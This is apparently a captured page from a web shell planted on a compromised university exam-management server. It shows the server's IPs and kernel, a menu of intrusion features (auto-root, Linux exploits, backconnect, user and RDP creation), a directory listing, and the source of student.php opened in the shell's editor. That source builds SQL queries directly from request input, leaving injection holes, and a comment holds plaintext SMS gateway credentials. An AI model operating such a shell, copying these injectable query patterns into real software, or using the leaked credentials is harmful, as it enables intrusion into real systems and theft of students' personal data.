Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.137.165.134
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
kus /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
system
[ DIR ]
drwxr-xr-x
Dispatch_ans_script_setup.php
5.84
KB
-rwxr-xr-x
Dispatch_ans_script_setup_qp.p...
5.18
KB
-rwxr-xr-x
ECHblk.php
11.09
KB
-rwxr-xr-x
FormulaEvaluate.php
14.15
KB
-rwxr-xr-x
MarkEntry-Setup.php
22.04
KB
-rwxr-xr-x
MarkEntry-SetupTEST.php
21.01
KB
-rwxr-xr-x
TAGMAY2013.pdf
331.03
KB
-rwxr-xr-x
TarkaFormatStyles.php
15.37
KB
-rwxr-xr-x
TarkaFormatStyles_old.php
3.71
KB
-rwxr-xr-x
absent_entry_setup.php
8.13
KB
-rwxr-xr-x
absent_entry_setupQp.php
6.93
KB
-rwxr-xr-x
ack_exam_app_form.php
12.08
KB
-rwxr-xr-x
ack_report.php
2.27
KB
-rwxr-xr-x
ack_rv_rt_application.php
7.58
KB
-rwxr-xr-x
ack_rv_rt_application_before_l...
6.02
KB
-rwxr-xr-x
actClass.php
6.21
KB
-rwxr-xr-x
admapprove.php
9.24
KB
-rwxr-xr-x
admission_entry_status.php
2.73
KB
-rwxr-xr-x
approve.php
23.87
KB
-rwxr-xr-x
appstatus.php
4.95
KB
-rwxr-xr-x
attendance.php
6.13
KB
-rwxr-xr-x
auto-complete.php
4.89
KB
-rwxr-xr-x
backup.php
2.73
KB
-rwxr-xr-x
backup_restore.php
8.14
KB
-rwxr-xr-x
backupandrestore.php
10.18
KB
-rwxr-xr-x
board.php
2.71
KB
-rwxr-xr-x
bundle_dispatch.php
2.84
KB
-rwxr-xr-x
bundle_rec_ack.php
5.68
KB
-rwxr-xr-x
bundlereceive.php
1.07
KB
-rwxr-xr-x
bundlestatus.php
5.3
KB
-rwxr-xr-x
cManualMailer.php
2.54
KB
-rwxr-xr-x
caccesscontext.php
1.24
KB
-rwxr-xr-x
candidate-entry.php
43.26
KB
-rwxr-xr-x
candidate-entry_without_iapr_i...
34.88
KB
-rwxr-xr-x
candidate-entrybefore yearexam...
34.55
KB
-rwxr-xr-x
candidate-entrykus.php
33.23
KB
-rwxr-xr-x
candidate-entryold.php
34.55
KB
-rwxr-xr-x
cappcontext.php
3.19
KB
-rwxr-xr-x
challan_entries.php
13.34
KB
-rwxr-xr-x
challan_preparation.php
11.57
KB
-rwxr-xr-x
cmailer.php
6.83
KB
-rwxr-xr-x
college.php
4.61
KB
-rwxr-xr-x
college_BEFORE_LOGINPOPUP.php
3.5
KB
-rwxr-xr-x
college_degree_status.php
5.65
KB
-rwxr-xr-x
connect.php
2.11
KB
-rwxr-xr-x
control.php
1006
B
-rwxr-xr-x
coutput.php
1.75
KB
-rwxr-xr-x
create_all_grid_files.php
8.57
KB
-rwxr-xr-x
create_all_grid_group_files.ph...
9.94
KB
-rwxr-xr-x
create_all_grid_group_files_ol...
9.61
KB
-rwxr-xr-x
create_all_popup_files.php
5.93
KB
-rwxr-xr-x
create_all_schema_files.php
4.31
KB
-rwxr-xr-x
create_all_views.php
16.52
KB
-rwxr-xr-x
create_html_files.php
52.03
KB
-rwxr-xr-x
create_html_files_without_tab....
44.49
KB
-rwxr-xr-x
create_module_meta_columns.php
5.16
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
datadictionary.php
3.96
KB
-rwxr-xr-x
daterange.php
4.86
KB
-rwxr-xr-x
degree.php
6.51
KB
-rwxr-xr-x
degree_old.php
6.51
KB
-rwxr-xr-x
degstudymat.php
6.45
KB
-rwxr-xr-x
degstudymatdet.php
6.3
KB
-rwxr-xr-x
display_details_in_grid.php
102.02
KB
-rwxr-xr-x
display_details_in_grid02.php
101.98
KB
-rwxr-xr-x
display_details_in_grid_custom...
2.68
KB
-rwxr-xr-x
display_details_in_grid_studta...
96.56
KB
-rwxr-xr-x
display_details_in_grid_withde...
97.45
KB
-rwxr-xr-x
doc_verify.php
7.34
KB
-rwxr-xr-x
doc_verify_12102019.php
7.02
KB
-rwxr-xr-x
download_misc_files.php
3.65
KB
-rwxr-xr-x
download_misc_files03.php
3.3
KB
-rwxr-xr-x
download_misc_files23082016.ph...
3.27
KB
-rwxr-xr-x
download_photo.php
4.45
KB
-rwxr-xr-x
download_photo_14052018.php
3.54
KB
-rwxr-xr-x
download_upload.php
3.86
KB
-rwxr-xr-x
dynamicmastersdetails.php
117.45
KB
-rwxr-xr-x
dynamicmastersdetails_one.php
119.36
KB
-rwxr-xr-x
entryexitevents.php
3.09
KB
-rwxr-xr-x
execute_query.php
2.5
KB
-rwxr-xr-x
export_import_setup.php
7.62
KB
-rwxr-xr-x
export_import_utility.php
2.67
KB
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.php
6.64
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.85
KB
-rwxr-xr-x
freeze_module_at_admin_college...
6.92
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.81
KB
-rwxr-xr-x
freeze_module_at_university_co...
7.45
KB
-rwxr-xr-x
general_report_format.php
11
KB
-rwxr-xr-x
generatePostAdmissionTicket.ph...
36.99
KB
-rwxr-xr-x
getAutoCompleteFromFrameWork.p...
2.97
KB
-rwxr-xr-x
getdata.php
34.99
KB
-rwxr-xr-x
getdata02.php
27.35
KB
-rwxr-xr-x
getdata_27122018_wait.php
29.61
KB
-rwxr-xr-x
getfeeinformation.php
6.14
KB
-rwxr-xr-x
getmoduledetails.php
23.7
KB
-rwxr-xr-x
getnumword.php
7.43
KB
-rwxr-xr-x
getreportdetails.php
3.21
KB
-rwxr-xr-x
getreportfilefordisplay.php
1.37
KB
-rwxr-xr-x
getsearchcondition.php
1.3
KB
-rwxr-xr-x
ggridmodel.php
9.27
KB
-rwxr-xr-x
golden_palm_payslip.php
12.48
KB
-rwxr-xr-x
helptext.php
5.38
KB
-rwxr-xr-x
htblk.php
6.13
KB
-rwxr-xr-x
identify_transactions.php
6.4
KB
-rwxr-xr-x
import_marks.php
4.11
KB
-rwxr-xr-x
json.php
33.22
KB
-rwxr-xr-x
login.php
9.01
KB
-rwxr-xr-x
login.php_1
3.25
KB
-rwxr-xr-x
login_BEFORE_LOGINPOPUP.php
3.25
KB
-rwxr-xr-x
login_old.php
3.15
KB
-rwxr-xr-x
message_board.php
4.67
KB
-rwxr-xr-x
messagetext.php
953
B
-rwxr-xr-x
module_setup.php
2.48
KB
-rwxr-xr-x
mregistry.php
90.42
KB
-rwxr-xr-x
mregistry03102016.php
60.65
KB
-rwxr-xr-x
mregistry_10102019.php
80.68
KB
-rwxr-xr-x
mregistry_30122016.php
65.47
KB
-rwxr-xr-x
mregistry_beforedownload.php
53.04
KB
-rwxr-xr-x
mregistryold.php
65.13
KB
-rwxr-xr-x
mrn_approval.php
9
KB
-rwxr-xr-x
pclzip.lib.php
192.53
KB
-rwxr-xr-x
photoupload.php
9.28
KB
-rwxr-xr-x
receive_rv_rt_application.php
7.65
KB
-rwxr-xr-x
report_iamarks_pending.php
12.04
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
11.84
KB
-rwxr-xr-x
report_setup.php
25.12
KB
-rwxr-xr-x
report_tool.php
73.03
KB
-rwxr-xr-x
revaluation.php
16.66
KB
-rwxr-xr-x
revaluation_oldtype.php
8.45
KB
-rwxr-xr-x
revaluation_withdegree.php
16.77
KB
-rwxr-xr-x
room_allotment.php
7.66
KB
-rwxr-xr-x
room_allotment_datewise.php
21.65
KB
-rwxr-xr-x
roomdeclaration.php
1.84
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
sendLoginPassword.php
3.09
KB
-rwxr-xr-x
serchbygrid.php
822
B
-rwxr-xr-x
servfeehead.php
3.84
KB
-rwxr-xr-x
services.php
3.47
KB
-rwxr-xr-x
sfeehead.php
5.45
KB
-rwxr-xr-x
student.php
23.34
KB
-rwxr-xr-x
student_entry.php
44.97
KB
-rwxr-xr-x
student_entry16112016.php
30.55
KB
-rwxr-xr-x
student_entry_21082017.php
30.79
KB
-rwxr-xr-x
student_entryold.php
30.33
KB
-rwxr-xr-x
studentportal_remove.php
6.18
KB
-rwxr-xr-x
subjectList_display.php
11.01
KB
-rwxr-xr-x
subject_freshExam.php
18.94
KB
-rwxr-xr-x
subjectfreez.php
12.96
KB
-rwxr-xr-x
system_utility.php
1.84
KB
-rwxr-xr-x
systemsetup.php
81.02
KB
-rwxr-xr-x
systemsetup03102016.php
75.52
KB
-rwxr-xr-x
systemsetup_up.php
77.9
KB
-rwxr-xr-x
teachers.php
15.37
KB
-rwxr-xr-x
transaction-series.php
4.86
KB
-rwxr-xr-x
updateSection.php
3.82
KB
-rwxr-xr-x
update_defined_flag.php
3.41
KB
-rwxr-xr-x
upload_studentPhoto.php
10.12
KB
-rwxr-xr-x
upload_studentPhoto22.php
8.04
KB
-rwxr-xr-x
upload_studentPhoto_23022018.p...
8.39
KB
-rwxr-xr-x
upload_studentPhoto_before_dow...
8.02
KB
-rwxr-xr-x
upload_studentPhoto_old.php
8.12
KB
-rwxr-xr-x
uploadmoduledetails.php
39.65
KB
-rwxr-xr-x
usersetup.php
24.35
KB
-rwxr-xr-x
usersetupold.php
24.14
KB
-rwxr-xr-x
usersubj_identification.php
4.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : student.php
<?php function getcmsdropdownmenuvalues($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); $query1 = "SELECT payment_type AS int_code,bank_name AS val FROM acc_mas where ifnull(fsuspend,'') <> 'T' "; $rst1=$aobj_context->mobj_db->GetAll($query1); $arr['pay_type'] = $rst1; $query2 = "SELECT FSERVCODE AS int_code,FSERVNAME AS val FROM servtype where ifnull(FDELETED,'') <> 'T' order by FORDER asc "; $rst2 = $aobj_context->mobj_db->GetAll($query2); $arr['serv_type'] = $rst2; $query3 = "SELECT FCATEGORY AS int_code,FDESCPN AS val FROM category where ifnull(FDELETED,'') <> 'T' order by FCATEGORY asc "; $rst3 = $aobj_context->mobj_db->GetAll($query3); $arr['category'] = $rst3; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); return; } function loadserviceslist($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); $servcode = $aobj_context->mobj_data["servcode"]; $ldegree = $aobj_context->mobj_data["ldegree"]; $query = "SELECT concat(servfee.FFEECODE,'*',servfeestr.FFEE) as int_code, servfee.FFEEDESC as val, ifnull(servtype.FMULTIPLE,'') as multiple FROM servtype,servfee, servfeestr where servtype.FSERVCODE = servfee.FSERVCODE and servfeestr.FFEECODE = servfee.FFEECODE and servfee.FSERVCODE = '{$servcode}' and servfeestr.fdegree = '{$ldegree}' and ifnull(servfee.FDELETED,'') <> 'T' and ifnull(FMANDATORY,'') <> 'T' order by servfee.FORDER asc "; $rst = $aobj_context->mobj_db->GetAll($query); $query3 = "SELECT group_concat(servfee.FFEECODE,'->',servfee.FFEEDESC,'->',servfeestr.FFEE SEPARATOR '~') as mandatoryfee FROM servtype,servfee, servfeestr where servtype.FSERVCODE = servfee.FSERVCODE and servfeestr.FFEECODE = servfee.FFEECODE and servfee.FSERVCODE = '{$servcode}' and servfeestr.fdegree = '{$ldegree}' and ifnull(servfee.FDELETED,'') <> 'T' and ifnull(FMANDATORY,'') = 'T' group by servfee.FSERVCODE "; $rst3 = $aobj_context->mobj_db->GetAll($query3); $servmlist = ''; if($rst3) { foreach($rst3 as $mkey => $mval) { $mfieldarr = explode('~',$mval['mandatoryfee']); $j = 1; for($i=0;$i<count($mfieldarr);$i++) { $mfields = explode('->',$mfieldarr[$i]); $servmlist .= '<tbody>'; $servmlist .= ' <tr>'; $servmlist .= ' <td style="width:60px;" align="center">'.$j.'</td>'; $servmlist .= ' <td style="width:200px;"><input type="hidden" name="servicename" id="'.$j.'GD1" value='.$mfields[0].' />'.$mfields[1].'</td>'; //$servmlist .= ' <td style="width:80px;"><input type="text" id='.$j.'GD2 disabled></td>'; $servmlist .= ' <td ><input type=text style="width:80px;" id = '.$j.'GD3 value='.$mfields[2].' disabled /></td>'; $servmlist .= ' <td style="width:30px;"><input type="hidden" id = '.$j.'GD4 value="F"/></td>'; $servmlist .= ' </tr>'; $servmlist .= '</tbody>'; ++$j; } } } $query2 = "select group_concat(fprocdesc order by fproccode separator '<br>') as FPROC from servproc where FSERVCODE = '{$servcode}' and ifnull(fprocdesc,'') <> ''"; $rst2 = $aobj_context->mobj_db->GetRow($query2); $cnt = 1; $servtablist = ''; if($rst) { if($rst[0]['multiple'] == 'M') { $servtablist .= '<table class="table table-bordered" style="width:600px;" id="dyserviceslist" >'; $servtablist .= '<thead> '; $servtablist .= '<tr>'; $servtablist .= '<th style="width:60px;text-align:center;">Sl. No.</th>'; $servtablist .= '<th style="width:200px;text-align:center;">Description</th>'; //$servtablist .= '<th style="width:80px;text-align:center;">Exam Year</th>'; $servtablist .= '<th style="width:80px;text-align:center;">Fee</th>'; $servtablist .= '<th style="width:30px;text-align:center;">Del.</th>'; $servtablist .= '</tr>'; $servtablist .= '</thead>'; $servtablist .= '</table>'; $servtablist .= '</tbody>'; $servtablist .= '<div style="text-align:center;margin:5px 60px;padding-bottom:20px;">'; $servtablist .= '<button onclick ="return CMS.addservicedet()">Click to add more details +</button></div>'; $servtype = 'multiple'; } else { $servtype = 'single'; } $arr['servmandatory'] = $servmlist; $arr['servtype'] = $servtype; $arr['services'] = $rst; $arr['servtablist'] = $servtablist; $arr['servpro'] = $rst2['FPROC']; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); return; } else { $error_msg = 'fee details not de'; echo $aobj_context->mobj_output->ToJSONEnvelope($error_msg,-1,"failure"); return; } } function getservicefee($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); $feecode = $aobj_context->mobj_data["feecode"]; $degree = $aobj_context->mobj_data["degree"]; $feearr = explode('*',$feecode); $query="SELECT FFEE, FFEECODE from servfeestr where FFEECODE = '{$feearr[0]}' and fdegree = '{$degree}'"; $rst=$aobj_context->mobj_db->GetRow($query); if($rst) echo $aobj_context->mobj_output->ToJSONEnvelope($rst,0,"success"); else { $error_msg = 'fee details not found'; echo $aobj_context->mobj_output->ToJSONEnvelope($error_msg,-1,"failure"); } return; } function getstudentdetails($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); $regno = $aobj_context->mobj_data["regno"]; $query = "select stud.FREGNO, stud.FNAME, stud.FCOLLCODE, stud.FDEGREE, concat(college.FCOLLNAME,', ',college.FTOWN) as FCOLLNAME, degree.FDESCPN,ifnull(stud.FCASTE,'') as FCASTE from student stud, college, degree where stud.FCOLLCODE = college.FCOLLCODE and stud.FDEGREE = degree.FDEGREE and stud.FREGNO='{$regno}'"; $rst = $aobj_context->mobj_db->GetRow($query); if($rst) { echo $aobj_context->mobj_output->ToJSONEnvelope($rst,0,"success"); return; } else { $error_msg = 'Not a valid Register no.'; echo $aobj_context->mobj_output->ToJSONEnvelope($error_msg,-1,"failure"); return; } } include("sendsmsapi.php"); class applicationForm { function __construct($aobj_context) { session_start(); $this->aobj_context=$aobj_context; $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $this->aobj_context=$aobj_context; $this->ip=$_SERVER["REMOTE_ADDR"]; } function assignParams() { include_once("/JSON.php"); $json = new Services_JSON(); $serv_arrjson = stripslashes($this->aobj_context->mobj_data["serv_arr"]); $mobj_jsondata = $json->decode($serv_arrjson); $this->serv_arr = get_object_vars($mobj_jsondata); $this->degree=trim($this->aobj_context->mobj_data["degree"]); $this->category=trim($this->aobj_context->mobj_data["category"]); $this->college=trim($this->aobj_context->mobj_data["college"]); $this->candidate_name=trim($this->aobj_context->mobj_data["candidate_name"]); $this->dob=trim($this->aobj_context->mobj_data["dob"]); $this->paddr1=trim($this->aobj_context->mobj_data["paddr1"]); $this->paddr2=trim($this->aobj_context->mobj_data["paddr2"]); $this->paddr3=trim($this->aobj_context->mobj_data["paddr3"]); $this->paddr4=trim($this->aobj_context->mobj_data["paddr4"]); $this->city=trim($this->aobj_context->mobj_data["city"]); $this->state=trim($this->aobj_context->mobj_data["state"]); $this->country=trim($this->aobj_context->mobj_data["country"]); $this->pincode=trim($this->aobj_context->mobj_data["pincode"]); $this->mobile_no=trim($this->aobj_context->mobj_data["mobile_no"]); $this->emailid=trim($this->aobj_context->mobj_data["emailid"]); $this->amount=trim($this->aobj_context->mobj_data["amount"]); $this->paytype=trim($this->aobj_context->mobj_data["paytype"]); $this->reg_no=strtoupper(trim($this->aobj_context->mobj_data["reg_no"])); $this->servicetype=strtoupper(trim($this->aobj_context->mobj_data["servicetype"])); } function SaveDetails() { $insert_qry = " insert into servtran(FAPPDATE,FDEGREE,FCOLLCODE,FREGNO,FNAME,FCATEGORY,FDOB,FADDR1,FADDR2,FADDR3,FADDR4,FCITY,FSTATE,FCOUNTRY,FPINCODE,FMOBILE,FEMAIL,FSERVCODE,FTOTAL,FPAYTYPE,FVERIFYUSER) values(now(),'{$this->degree}','{$this->college}','{$this->reg_no}','{$this->candidate_name}','{$this->category}',date_format(str_to_date('{$this->dob}','%d/%m/%Y'),'%Y-%m-%d'),'{$this->paddr1}','{$this->paddr2}', '{$this->paddr3}','{$this->paddr4}','{$this->city}','{$this->state}','{$this->country}','{$this->pincode}','{$this->mobile_no}','{$this->emailid}','{$this->servicetype}', '{$this->amount}','{$this->paytype}','pending')"; //var_dump($insert_qry); $insert_obj = $this->aobj_context->mobj_db->Execute($insert_qry); $error=mysql_error(); $this->last_inserted_id = $this->aobj_context->mobj_db->Insert_ID(); if($this->last_inserted_id) { $this->UpdateApplicationUniqueNo(); } else { $data="Error While Inserting ".$error ;; echo $this->aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } } function UpdateApplicationUniqueNo() { $query="SELECT FSERVLAST+1 as FLASTNO FROM control"; $objrst = $this->aobj_context->mobj_db->GetRow($query); $this->app_no = $objrst[FLASTNO]; $update_last_no = "update control set FSERVLAST = FSERVLAST+1"; $this->aobj_context->mobj_db->Execute($update_last_no); $update_app_no="update servtran set FAPPNO='{$this->app_no}' where FAUTONO={$this->last_inserted_id}"; $this->aobj_context->mobj_db->Execute($update_app_no); for($k=0;$k<count($this->serv_arr);$k++) { $value[] = "('{$this->app_no}', '{$this->reg_no}', '{$this->serv_arr[$k]->feecode}', '{$this->serv_arr[$k]->fee}','{$this->serv_arr[$k]->examyear}')"; } $query = "insert into servdetl(FAPPNO, FREGNO, FFEECODE, FAMOUNT,FREMARKS) values".implode(',', $value); $this->aobj_context->mobj_db->Execute($query); $paylink = ' '; if($this->paytype == 'POSTOFFICE') { $paylink =''; //$paylink.= '<center><span class="btn btn_3 btn-lg btn-info" onclick="CMS.printacknowledgment()">Print Acknowledgement</span></center></div></div>'; } /* if($this->paytype == 'DEBIT/CREDIT/NET BANKING') { $paylink .= '<div class="row mb40" ><div class="col-md-9 mb5" align="center">'; $paylink .= '<center><span class="btn btn_3 btn-lg btn-info" onclick="CMS.makeonlinepayment()">Make Payment</span></center></div></div>'; } */ //$this->SendAppNoUser($this->mobile_no,$this->emailid,$this->app_no); $arr['appno'] = $this->app_no; $arr['paylink'] = $this->paytype; echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); return; } function GetApplicationDetails() { $this->app_no=trim($this->aobj_context->mobj_data["app_no"]); $get_data=" select internal_code, app_no, pget_val, subject, candidate_name, mother_name, father_name, spouse_name, date_format(dob,'%d/%m/%Y') as dob, sex, s.pob, pob_others, nationality, s.college , college_others, s.univ ,univ_others, cncl_reg_no, cncl_reg_name, date_format(rotary,'%d/%m/%Y') as rotary, marks, u_pg, phq, religion, s.category, category_others, caste, sub_caste, dd_amt, dd_no, date_format(dd_date,'%d/%m/%Y') as dd_date, dd_bank, address, pin,IFNULL(debared,'No') as debared, email, phone, mobile, in_service_status, s.dept , '' as dept_others, plc_of_working, date_format(date_of_entry,'%d/%m/%Y') as date_of_entry, prob_period, date_format(prob_date,'%d/%m/%Y') as prob_date, doing_pg, pg_degree_course, date_format(pg_degree_date,'%d/%m/%Y') as pg_degree_date, pg_diploma_course, date_format(pg_diploma_date,'%d/%m/%Y') as pg_diploma_date, speciality, enq_pending, suspension, absence, remarks, photo_path, created_date, f_max_marksa, f_sec_marksa, f_no_attaa, f_max_marksb, f_sec_marksb, f_no_attbb, f_max_marksc, f_sec_marksc, f_no_attcc, f_max_marksd, f_sec_marksd, f_no_attdd, f_tot_max_marks, f_tot_sec_marks ,ip_address,created_date from dcstud s where app_no={$this->app_no}"; //echo $get_data;die(); $lobj_get_data=$this->aobj_context->mobj_db->GetRow($get_data); $data="Error While Moving the Image"; echo $this->aobj_context->mobj_output->ToJSONEnvelope($lobj_get_data,0,"Success"); return; } function ValidateApplicationstatus() { $appno = trim($this->aobj_context->mobj_data["sappno"]); $dob = trim($this->aobj_context->mobj_data["sdob"]); $regno = trim($this->aobj_context->mobj_data["sregno"]); $query = "SELECT servtran.FAPPNO, servtran.FAPPDATE, servtran.FAPPNO, servtran.FNAME,servtype.FSERVNAME,college.FCOLLNAME, GROUP_CONCAT(servfee.FFEEDESC,'->',servdetl.FAMOUNT SEPARATOR '~' ) as servlist,servtran.FEMAIL,servtran.FREGNO,DATE_FORMAT(servtran.FDOB,'%d/%m/%Y') AS FDOB, servtran.FTOTAL, servtran.FNAME, servtran.FMOBILE, servtran.FEMAIL, servtran.FADDR1, servtran.FADDR2, servtran.FADDR3, servtran.FADDR4,servtran.FCITY,servtran.FSTATE,servtran.FCOUNTRY,servtran.FPINCODE, if(ifnull(servtran.FPAYSTATUS,'') ='','pending',servtran.FPAYSTATUS) as FPAYSTATUS, FVERIFYSTATUS, FVERIFYREMARKS, servtran.FPAYTYPE FROM servtran,servfee,servtype,servdetl,college WHERE servtran.FSERVCODE = servfee.FSERVCODE AND servtype.FSERVCODE = servtran.FSERVCODE AND servtran.FAPPNO = servdetl.FAPPNO AND servtran.FREGNO = servdetl.FREGNO AND servdetl.FFEECODE = servfee.FFEECODE AND college.FCOLLCODE = servtran.FCOLLCODE AND servtran.FAPPNO='{$appno}' AND servtran.FREGNO='{$regno}' AND FDOB = date_format(str_to_date('{$dob}','%d/%m/%Y'),'%Y-%m-%d') GROUP BY servdetl.FAPPNO, servdetl.FREGNO"; $rst = $this->aobj_context->mobj_db->GetRow($query); $cnt = 1; $servhtml= ''; $servlistarr=explode("~",$rst['servlist']); $sl_no=1; for($i=0;$i<count($servlistarr);$i++) { $servdetarr = explode("->",$servlistarr[$i]); $servhtml .= '<tbody>'; $servhtml .= '<tr>'; $servhtml .= '<td>'.$cnt.'</td>'; $servhtml .= '<td>'.$servdetarr[0].'</td>'; $servhtml .= '<td>'.$servdetarr[1].'</td>'; $servhtml .= '</tr></tbody>'; ++$cnt; } $html = ' <div class="row mb40"> <div class="col-md-4 mb5"> <b>Student details</b> </div><hr> </div> <div class="row mb40"> <div class="col-md-2 mb5"> Application no. </div> <div class="col-md-5 mb5"> : '. $rst['FAPPNO'].' </div> </div> <div class="row mb40"> <div class="col-md-2 mb5"> Register no. </div> <div class="col-md-5 mb5"> : '. $rst['FREGNO'].' </div> </div> <div class="row mb40"> <div class="col-md-2 mb5"> Name </div> <div class="col-md-5 mb5"> : '. $rst['FNAME'].' </div> </div> <div class="row mb40"> <div class="col-md-2 mb5"> Email id </div> <div class="col-md-5 mb5"> : '. $rst['FEMAIL'].' </div> </div> <div class="row mb40"> <div class="col-md-2 mb5"> Address </div> <div class="col-md-5 mb5"> : '. $rst['FADDR1']. '<br> '.$rst['FADDR2']. '<br> '.$rst['FADDR3']. '<br> '.$rst['FADDR4']. '</div> </div> <div class="row mb40"> <div class="col-md-3 mb5" > City </div> <div class="col-md-2 mb5"> : '. $rst['FCITY'].' </div> </div> <div class="row mb40"> <div class="col-md-3 mb5" > State </div> <div class="col-md-2 mb5"> : '. $rst['FSTATE'].' </div> </div> <div class="row mb40"> <div class="col-md-3 mb5" > Country </div> <div class="col-md-2 mb5"> : '. $rst['FCOUNTRY'].' </div> </div> <div class="row mb40"> <div class="col-md-3 mb5" > Pincode </div> <div class="col-md-2 mb5"> : '. $rst['FPINCODE'].' </div> </div> <div class="row mb40"> <div class="col-md-4 mb5"> <b>Application details </b> </div><hr> </div> <div class="row mb40"> <div class="col-md-2 mb5"> Application for </div> <div class="col-md-5 mb5"> : '.$rst['FSERVNAME'].' </div> </div> <table class="table table-bordered" style="width:450px;" id="dyserviceslist" > <thead> <tr> <th style="width:50px;">Sl.No</th> <th style="width:350px;">Description</th> <th style="width:50px;">Fee</th> </tr> </thead>'.$servhtml.' </table> <div class="row mb40"> <div class="col-md-2 mb5"> Total Amount </div> <div class="col-md-5 mb5"> : '. $rst['FTOTAL'].'/- </div> </div> <div class="row mb40"> <div class="col-md-2 mb5"> Payment Type </div> <div class="col-md-5 mb5"> : '. $rst['FPAYTYPE'].' </div> </div> <div class="row mb40"> <div class="col-md-2 mb5"> Payment Status </div> <div class="col-md-5 mb5"> : '. $rst['FPAYSTATUS'].' </div> </div><br> <div class="row mb40"> <div class="col-md-4 mb5"> <b>Application Verification details</b> </div><hr> </div> <div class="row mb40"> <div class="col-md-2 mb5"> Verification Status </div> <div class="col-md-5 mb5"> : '. $rst['FVERIFYSTATUS'].' </div> </div> <div class="row mb40"> <div class="col-md-2 mb5"> Verification Remarks </div> <div class="col-md-5 mb5"> : '. $rst['FVERIFYREMARKS'].' </div> </div> '; $arr['html'] = $html; if($rst) { echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); return; } else { $error_msg = 'invalid credentials'; echo $this->aobj_context->mobj_output->ToJSONEnvelope($error_msg,-1,"error"); return; } } function ValidatePaymentApplicationData() { $p_appno = trim($this->aobj_context->mobj_data["pappno"]); $p_dob = trim($this->aobj_context->mobj_data["pdob"]); $p_reg_no = trim($this->aobj_context->mobj_data["pregno"]); $qry="SELECT FAPPNO,ifnull(FPAYSTATUS,'') PAYSTATUS from servtran WHERE FAPPNO = '{$p_appno}' AND FREGNO = '{$p_reg_no}' AND FDOB = date_format(str_to_date('{$p_dob}','%d/%m/%Y'),'%Y-%m-%d') AND FPAYTYPE = 'DEBIT/CREDIT/NET BANKING' "; $up_obj=$this->aobj_context->mobj_db->GetRow($qry); $FAPPNO = $up_obj['FAPPNO']; if(empty($FAPPNO)) { $error_msg = 'invalid credentials'; echo $this->aobj_context->mobj_output->ToJSONEnvelope($error_msg,-1,"failure"); return; } else if($up_obj['PAYSTATUS'] == 'success') { $error_msg = 'Payment already made for the given application no.'; echo $this->aobj_context->mobj_output->ToJSONEnvelope($error_msg,-1,"failure"); return; } else { $arr['appno'] = $FAPPNO; echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); return; } } function ValidatePrintCertificateApplicationData() { $appno =trim($this->aobj_context->mobj_data["appno"]); $dob=trim($this->aobj_context->mobj_data["dob"]); $regno=trim($this->aobj_context->mobj_data["regno"]); $qry="SELECT FAPPNO, FPAYTYPE, FPAYSTATUS from servtran WHERE FDOB = date_format(str_to_date('{$dob}','%d/%m/%Y'),'%Y-%m-%d') AND FREGNO='{$regno}' and FAPPNO ='{$appno}'"; $up_obj=$this->aobj_context->mobj_db->GetRow($qry); $FAPPNO = $up_obj['FAPPNO']; $FPAYTYPE = $up_obj['FPAYTYPE']; $FPAYSTATUS = $up_obj['FPAYSTATUS']; if(empty($FAPPNO)) { $error_msg = 'invalid credentials'; echo $this->aobj_context->mobj_output->ToJSONEnvelope($error_msg,-1,"failure"); } else { $arr['app_no']=$FAPPNO; $arr['paytype']=$FPAYTYPE; $arr['paystatus']=$FPAYSTATUS; echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } } function recurseRmdir($dir) { $files = array_diff(scandir($dir), array('.','..')); foreach ($files as $file) { (is_dir("$dir/$file")) ? recurseRmdir("$dir/$file") : unlink("$dir/$file"); } return rmdir($dir); } function SendAppNoUser($mobile_no,$s_email_id,$appno) { require_once("cManualMailer.php"); $message="<html>"; $message.="<body>"; $message.="<style>"; $message.=".mail_tbl td{text-align:left; padding:2px; font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif;}"; $message.="</style>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>Dear Candidate,</p></br>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>Your Application no. : ".$appno."</p></br>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>Your Registration is incomplite until the Payment is maid.</p>"; $message.="</br>"; $message.="</body>"; $message.="</html>"; $subject="KUSUNI - Application no"; $data='true'; $data= send_manual_mail($s_email_id,$subject,$message,$replay_to=null,$cc=null,$bcc=null); //SMS OTP /* $username = 'log01'; $password = 'log01124'; $from = 'KUVUNI'; $to = $mobile_no; $text ="Application no. : ".$appno.". Register is incomplete until payment is maid."; $category = ''; $smsresp = 